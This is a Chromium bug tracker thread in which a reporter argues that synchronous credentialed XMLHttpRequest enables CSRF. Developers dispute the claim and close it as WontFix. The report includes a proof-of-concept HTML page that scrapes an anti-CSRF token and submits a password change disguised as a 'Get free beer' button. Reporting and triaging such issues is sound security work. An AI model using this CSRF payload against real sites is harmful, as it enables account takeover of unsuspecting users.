Issue metadata
Sign in to add a comment
|
Security: possibility to send synchronous XMLHttpRequest withCredentials = true
Reported by
hardko...@gmail.com,
Apr 28 2016
|
||||||||||||||||||||||
Issue descriptionVULNERABILITY DETAILS Chrome allows to use synchronous XMLHttpRequest wih option withCredentials = true which allows in case of misconfigured CORS to bypass preflight requests and send authenticated (eg. with cookie and token) request with unexpected methods or headers via XSRF VERSION Chrome Version: 50.0.2661.75 Operating System: Debian Jessie (probably others) REPRODUCTION CASE This XSRF exploit didn't worked on Firefox but worked on Chrome. Firefox does not allow to send synchronous XMLHttpRequest with credentials. Vulnerable app is avaliable on elearnsecurity.com HTML5 lab, which was in they internal network and I can not provide access. I was not using any custom headers or PUT/DELETE methods in this example but this is where I believe it may be used to send authenticated, not expected requests. <html> <form action="http://helpandsupport.site/change_password.php" method="POST"> <input type="hidden" name="user" value="helpdesk52" /> <input type="hidden" name="pass" value="pwn" /> <input type="hidden" id="tok" name="tk" value="bbb" /> <input type="hidden" name="send" value="Change Password" /> <input type="submit" value="Get free beer" /> </form> <script> response = ''; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { response=xhr.responseText; } } xhr.open('GET', 'http://helpandsupport.site/change_password.php', false); xhr.withCredentials = true; xhr.send(null); var tmp0 = response.split('value="'); tmp1=tmp0[2] tmp2=tmp1.split('">'); token=tmp2[0]; document.getElementById("tok").value=token; </script> </body> </html>
,
May 2 2016
,
May 2 2016
,
May 2 2016
This is currently deprecated, but allowed -- use counters suggests it isn't used all that much https://www.chromestatus.com/metrics/feature/timeline/popularity/472 See issue 383483 , and the recent issue 602925.
,
May 2 2016
,
May 3 2016
However, |withCredentials| was limited for non-worker usage as a tactic to get the web to stop using sync XHR, by not giving it access to newer API features, not from any security concern -- https://lists.w3.org/Archives/Public/public-webapps/2011OctDec/0833.html With the level of control that the TC seems to assume, couldn't you achieve same with an async credentialled request?
,
May 5 2016
I'm not sure, i have limited js knowledge. I have asked some people but no one was sure abolutnie it. If so, then my point is invalid
,
May 5 2016
*about it
,
May 9 2016
https://bugzilla.mozilla.org/show_bug.cgi?id=861585 is one (resolved) compat problem that FF ran into as a result of implementing the spec wrt withCredentials & sync XHR. It is worth considering removal in Blink also by now.
,
May 19 2016
I believe we run the preflight checking even for sync if it's cross-origin && non-simple regardless of withCredentials value. Sending an async credentialed cross-origin request is allowed w/ preflight requirement for non-simple ones. Sync one is deprecated as sigbjornf@ said, but not a point of vulnerability. Some of CORS mechanism mitigates XSRF but doesn't prevent XSRF.
,
May 31 2016
,
May 31 2016
In https://codereview.chromium.org/2025903002/ I'm removing the deprecation message which kind of closes the door on throwing an exception here. From #10 it sounds like this isn't really a security problem that would be prevented by throwing that exception, and I suppose that in principle the precise same network-facing behavior could be achieved for both sync and async requests, so it ought not be a problem.
,
Jun 1 2016
Following https://bugs.chromium.org/p/chromium/issues/detail?id=383483#c6 (and #c7), WontFix ?
,
Jun 1 2016
Ya. Closing. Please comment or file a new bug if it turns out that there's still some issue.
,
Sep 8 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 1 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 2 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 2 2016
,
Apr 6 2017
The following revision refers to this bug: https://chromium.googlesource.com/chromium/tools/build/+/3adf4d9ee62da886f1e599196f9a5e28d68175a3 commit 3adf4d9ee62da886f1e599196f9a5e28d68175a3 Author: Prathmesh Prabhu <pprabhu@chromium.org> Date: Thu Apr 06 20:21:10 2017 chromiumos.tryserver: Add 20 baremetal slaves to pre-cq pool. BUG= chromium:607497 TEST=None Change-Id: I0cdebda6aa34a1be68b7cbea931ec6fe6e97b8eb Reviewed-on: https://chromium-review.googlesource.com/469088 Reviewed-by: Daniel Jacques <dnj@chromium.org> Reviewed-by: Don Garrett <dgarrett@chromium.org> Commit-Queue: Prathmesh Prabhu <pprabhu@chromium.org> [modify] https://crrev.com/3adf4d9ee62da886f1e599196f9a5e28d68175a3/masters/master.chromiumos.tryserver/slave_pool.json [modify] https://crrev.com/3adf4d9ee62da886f1e599196f9a5e28d68175a3/masters/master.chromiumos.tryserver/slaves.cfg
,
Apr 6 2017
sorry. CL in #19 doesn't belong here. |
|||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||
Comment 1 by elawrence@chromium.org
, Apr 28 2016